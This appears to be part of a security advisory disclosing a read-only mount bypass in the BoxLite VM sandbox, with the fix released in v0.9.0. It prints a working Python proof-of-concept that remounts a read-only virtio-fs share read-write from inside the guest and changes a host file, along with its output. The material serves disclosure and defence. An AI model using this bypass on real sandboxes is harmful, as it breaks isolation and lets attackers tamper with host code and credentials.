Advisory

GHSA-g6ww-w5j2-r7x3

Details, part 2 of 3. The advisory

Details

r2 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
out = r2['stdout'].strip()
print(f" Write attempt: {out}")
if "Read-only" in out or "read-only" in out:
print(f" [OK] Initially blocked - client-side MS_RDONLY is active")
print()

print("[!!!] Step 5: ATTACK - Bypassing read-only via remount...")
r3 = await run(box, f"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?")
print(f" Remount result: {r3['stdout'].strip()}")
r4 = await run(box, f"cat /proc/mounts | grep sensitive")
print(f" Mount flags after: {r4['stdout'].strip()}")
print()

print("[!!!] Step 6: Writing to 'read-only' mount after bypass...")
r5 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
print(f" Write result: {r5['stdout'].strip()}")
r6 = await run(box, f"cat {guest_mount}/read_only.txt")
print(f" File content inside guest: {r6['stdout'].strip()}")
print()

print("[+] Step 7: HOST VERIFICATION")
content = open(ro_file).read().strip()
print(f" read_only.txt on host: {content}")
print()

print("FINAL RESULT:")
print()
if content == "modified content":
print(" [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE")
else:
print(" [?] Bypass did not produce host-side writes.")

except Exception as e:
print(f"[-] Error: {e}")
import traceback
traceback.print_exc()
finally:
import shutil
try:
shutil.rmtree(host_dir)
print(f"\n[+] Cleanup: removed {host_dir}")
except:
pass

asyncio.run(main())


   This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output:

$ python poc.py
[+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21
read_only.txt: original content

[+] Step 2: Launching BoxLite VM with:
volumes=[('/tmp/virtiofs_ro_poc_93fdis21', '/mnt/sensitive', True)] # read_only=True

[+] Step 3: VM booted. Checking virtiofs mount state...
/proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0

[+] Step 4: Testing write protection (initial state)...
Write attempt: write_exit:1

[!!!] Step 5: ATTACK - Bypassing read-only via remount...
Remount result: remount_exit:0
Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0

[!!!] Step 6: Writing to 'read-only' mount after bypass...
Write result: write_exit:0
File content inside guest: modified content

[+] Step 7: HOST VERIFICATION
read_only.txt on host: modified content

FINAL RESULT:

[!!!] VULNERABILITY CONFIRMED - EXPLOITABLE

[+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21


   



#### Impact

Malicious code can perform arbitrary write operations on directories that should be read-only.

In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.



#### Score

Severity: Critical, Score: 10.0, rationale as follows: 

- **AV:N** — Malicious code can be transmitted through networks, such as code written by large language models.
- **AC:L** — No special conditions or race conditions are required. The attacker simply executes a `mount -o remount,rw` command inside the container. `CAP_SYS_ADMIN` is granted by default, and the attack is deterministic and trivially reproducible.
- **PR:N** — The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code). 
- **UI:N** — No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator.
- **S:C** — The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem.
- **C:H** — With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container.
- **I:H** — The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files.
- **A:N** — The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access.



#### Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [email protected].



#### Note

Note that we follow the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that we reserve the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

#### Resolution

Fixed in **v0.9.0** by PR #454 (commit `2c26968e`), released 2026-04-29, with defense-in-depth across three layers:

1. **Hypervisor-level read-only enforcement.** virtio-fs shares are now created via `krun_add_virtiofs3` (libkrun v1.18.0) with the `read_only` flag passed through, so the share is read-only at the virtio-fs device — before any request reaches the guest kernel. A malicious guest `mount -o remount,rw` can no longer reach host data even if it regained `CAP_SYS_ADMIN`.
2. **Capability restriction.** Containers now receive the 14 Docker-default capabilities, explicitly excluding `CAP_SYS_ADMIN` (and `CAP_NET_ADMIN`, `CAP_SYS_MODULE`, `CAP_SYS_RAWIO`, `CAP_MAC_OVERRIDE`), so the remount in the PoC fails with `EPERM`.
3. **TSI network isolation.** When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest→host socket-forwarding path.

Sources & licences